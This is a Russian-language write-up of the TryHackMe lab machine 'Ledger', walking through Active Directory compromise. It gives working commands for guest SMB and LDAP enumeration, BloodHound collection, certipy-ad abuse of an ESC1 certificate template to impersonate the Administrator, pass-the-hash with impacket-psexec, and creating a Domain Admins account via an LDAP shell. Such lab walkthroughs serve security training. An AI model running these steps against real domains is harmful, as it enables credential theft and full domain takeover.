Ledger — прохождение сложной машины от Tryhackme

от автора

Ledger

Ledger

Ledger — это сложная машина Windows на TryHackMe, в центре которой находится неправильная конфигурация служб сертификатов Active Directory (AD CS). Первоначальная разведка выявляет контроллер домена (labyrinth.thm.local) с включенной аутентификацией SMB null и LDAP, раскрывающим учетные данные пользователя в примечаниях. Через certipy-ad находим шаблон сертификата ServerAuth , который уязвим к ESC1, что позволяет любому аутентифицированному пользователю запросить сертификат, выдавая себя за администратора домена. Хэш NT администратора извлекается из поддельного сертификата, а psexec предоставляет командную оболочку NT AUTHORITY SYSTEM. Альтернативный путь эксплуатации через аутентификацию LDAP Schannel для случаев, когда Kerberos PKINIT не срабатывает.

Разведка (T1595.002)

Поскольку в задании у нас сказано, что нужно будет эксплойтить Active Directory, значит у нас Windows, а для успешного сканирования этой ОС, нужно добавить флаг -Pn.

sudo nmap -sC -sV -v 10.114.161.221 -Pn

Здесь много портов, если сравнивать с машинами на Linux.

PORT     STATE SERVICE       VERSION53/tcp   open  domain        Simple DNS Plus80/tcp   open  http          Microsoft IIS httpd 10.088/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-03 09:42:50Z)135/tcp  open  msrpc         Microsoft Windows RPC139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)|_ssl-date: 2026-05-03T09:44:40+00:00; 0s from scanner time.| ssl-cert: Subject: commonName=labyrinth.thm.local| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local| Issuer: commonName=thm-LABYRINTH-CA443/tcp  open  ssl/https?445/tcp  open  microsoft-ds?464/tcp  open  kpasswd5?593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)|_ssl-date: 2026-05-03T09:44:39+00:00; -1s from scanner time.| ssl-cert: Subject: commonName=labyrinth.thm.local| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=labyrinth.thm.local| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)3389/tcp open  ms-wbt-server Microsoft Terminal Services

Первое, на что стоит обратить внимание это домены, которые нужно добавить в /etc/hosts.

Есть даже вебчик на 80 и 443 порту, но там стандартная заглушка от IIS, поэтому там делать нечего. Фаззить, там что-либо бесполезно.

4 порта 389,636,3268,3269 ldap. Они разделяются по способу шифрования и объему доступных данных.

Очень интересный порт 3389 это rdp, однако пока у нас нет кредов, чтобы туда зайти.

445 порт помечен как microsoft-ds?, но это должен быть smb.


Разведка через smb

Попробуем узнать для начала общую информацию о хосте. Буду использовать утилиту netexec.

~  nxc smb 10.114.161.221                                      SMB         10.114.161.221  445    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)

Здесь важный вывод это Null Auth:true. Это означает, что разрешена «нулевая сессия» (вход без логина и пароля).

С пустыми кредами нас не пускает, зато гостя приняли как родного, заодно можно изучить список всех пользователей и групп.

nxc smb 10.114.161.221  -u 'guest' -p '' --rid-brute

Разведка через ldap

Стоит проверить этой же утилитой список юзеров через порт 389. Здесь данные передаются в открытом виде.

nxc ldap 10.114.161.221 -u 'guest' -p '' --users

Здесь также видим много пользователей, но если внимательно посмотреть, то у двоих пользователей, можно наблюдать пароль в примечаниях. IVY_WILLIS и SUSANNA_MCKNIGHT.

Пароли в примечаниях

Пароли в примечаниях

Креды получены, можно пробовать подключиться по RDP.


Эксплуатация (T1190) и первый флаг

Для подключения по RDP я буду использовать утилиту Remmina.

Логинимся по RDP

Логинимся по RDP

Входим по полученному имени пользователя и паролю, домен — из скана nmap.

IVY_WILLIS не поддался и видимо сменил пароль. Зато мы успешно залогинились под именем SUSANNA_MCKNIGHT и флаг на рабочем столе.

Первый флаг

Первый флаг
THM{Firslt_user_flag!}

Поиск вектора для повышения привелегий в AD

Нужно бы осмотреться в системе, поэтому будем использовать Bloodhound для визуализации нашего положения.

bloodhound-ce-python -d thm.local -ns 10.114.161.221 -dc labyrinth.thm.local --zip -c all -u 'SUSANNA_MCKNIGHT' -p '******'

Эта команда создаст zip архив. Затем просто экспортируем его в bloodhound для наглядности.

Bloodhound разведка

Bloodhound разведка

Здесь можем наблюдать путь от нашего пользователя, до группы Domain Admins. Цель — Beverly или Bradley: Эти два пользователя — кратчайший путь к полному захвату домена. Однако этот путь не единственный к полному захвату.

При работе с Active Direcory, полезно проверить ошибки в конфигурациях сертификатов. Для этих целей просканируем систему утилитой certipy-ad.

certipy-ad find -u SUSANNA_MCKNIGHT -p '******' -dc-ip 10.114.161.221 -vulnerable
Уязвимость ESC1

Уязвимость ESC1

Успех, есть уязвимоть ESC1.

Шаблон ServerAuth позволяет любому члену Authenticated Users выпустить сертификат клиентской аутентификации на имя произвольного пользователя домена, включая Domain Administrator.


Решение №1. Атакуем AD с кредами админа

Зная об уязвимости ESC1, далее я насчитал как минимум 3 пути решения, хотя они все схожи.

  1. Можно выпустить сертификат притворившись непосредственно администратором.

  2. Можно запросить пропуск на имя BRADLEY_ORTIZ, потому что он входит в группу Domain Admins, а для чтения флага, нам нужно это условие.

  3. Создать своего пользователя и добавить в группу Domain Admins.

Все 3 решения основаны на уязвимости ESC1.

Будем притворяться админом и сделаем запрос на выпуск сертификата от его имени. Для этого снова будем использовать certipy-ad.

certipy-ad req -u 'SUSANNA_MCKNIGHT@thm.local' -p '******!' -target labyrinth.thm.local  -template 'ServerAuth' -ca 'thm-LABYRINTH-CA' -upn Administrator@thm.local

Получаем файл administrator.pfx, содержащий сертификат администратора.

С помощью того же Certipy можно будет получить NT-хэш администратора или запросить Kerberos TGT.

certipy-ad auth -pfx administrator.pfx -dc-ip 10.112.146.154
Аутентификация по поддеольному сертификату

Аутентификация по поддеольному сертификату

Как видно хэш админа получен.

Когда у нас есть хэш админа, нам не нужен его пароль. Мы можем напрямую подключаться с хэшем.

impacket-psexec -k -hashes :00000000000000 thm.local/Administrator@labyrinth.thm.local
Второй флаг

Второй флаг

Флаг рута взят.

THM{root's_flag_is_here}

Решение №2 через создание своего пользователя

В процессе решения после этапа запроса сертификата, во время аутентификации у меня kerberos выдавал ошибку.

[*] Trying to get TGT...[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

Ошибка KDC_ERR_PADATA_TYPE_NOSUPP означает, что на DC банально не настроен (или сломан) сертификат для Kerberos PKINIT-аутентификации. Однако валидный файл .pfx я уже получил.

Гуглинг дал одну наводку, что можно обойти через Schannel — аутентификация напрямую в LDAP по TLS-сертификату, минуя Kerberos целиком.

certipy-ad auth -pfx administrator.pfx -dc-ip 10.114.161.221 -ldap-shell

Логинимся, получаем шелл, однако через него напрямую нельзя прочитать флаг. Но можно создать нового пользователя и выдать ему админские права.

# add_user DenAttempting to create user in: %s CN=Users,DC=thm,DC=localAdding new user with username: Den and password: 40B2lsU/56CP7,6 result: OK# add_user_to_group Den "Domain Admins"Adding user: Den to group Domain Admins result: OK

С полученными кредами логинимся по RDP, забираем флаг.

Флаг рута по RDP

Флаг рута по RDP

Пару заметок по прохождению.

Во время работы утилиты certipy-ad иногда сыпались и другие ошибки, по типу

[!] DNS resolution failed: The DNS query name does not exist: labyrinth.thm.local.Traceback (most recent call last):  File "/usr/lib/python3/dist-packages/certipy/lib/[target.py](http://target.py)", line 442, in resolve

Это потому что Certipy использует dns.resolver из Python, который ходит напрямую в DNS-сервер из /etc/resolv.conf, а не в /etc/hosts. Поэтому нужно добавить айпишник машины в этот файл первым. Порядок здесь важен!

Также в процессе решения машины узнал про утилиту rpcclient. В данном таске при моем решении, она не понадобилась, однако может быть полезна в будущем. С помощью нее можно получить массу полезной информации, которую не всегда отдают другие инструменты. Работая с AD нередко может понадобиться SID (Security Identifier) — это уникальный номер (например, S-1-5-21-3623811015-3361044348-30300820-500), который Windows использует для контроля доступа. Узнать SID админа на этой машине можно с помощью команды:

rpcclient -U 'SUSANNA_MCKNIGHT%PASSWORD' 10.112.146.154 -c "lookupnames Administrator"

Если на DC установлен патч KB5014754, то при аутентификации через certipy-ad auth может прилететь отказ. В этом случае нужно будет указать SID администратора и указать его при аутентификации.


Маппинг по MITRE ATT&CK

Phase

Tactic

Technique

ID

Сканирование портов

Discovery

Network Service Discovery

T1046

Гостевой SMB доступ

Discovery

Account Discovery: Domain Account

T1087.002

Пароли в открытом виде

Credential Access

Unsecured Credentials: Credentials In Files

T1552.001

Вход по RDP через найденные креды

Initial Access

Valid Accounts: Domain Accounts

T1078.002

Маппинг домена через BloodHound

Discovery

Permission Groups Discovery: Domain Groups

T1069.002

AD CS ESC1 подделка сертификата

Credential Access

Steal or Forge Authentication Certificates

T1649

Извлечение NT-хеша из PFX

Credential Access

OS Credential Dumping

T1003

Pass-the-Hash через psexec

Lateral Movement

Use Alternate Authentication Material: Pass the Hash

T1550.002

Создание пользователя и добавление в группу Domain Admins

Persistence

Create Account: Domain Account

T1136.002

Оценка уязвимостей по CVSS

CVE

CVSS 3.1

Severity

Description

Пароли в примечаниях

6.5 (est.)

Medium

Пароли хранились в открытом виде в разделе примечаний, а также доступны для чтения всем пользователям с гостевым доступом CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE-2024-49019 / ESC1

7.8

High

Неправильно настроенный шаблон сертификата позволяет любому авторизованному пользователю запрашивать сертификаты аутентификации клиента для произвольных субъектов, включая администратора домена.

Райтап от @alfabuster

ссылка на оригинал статьи https://habr.com/ru/articles/1032298/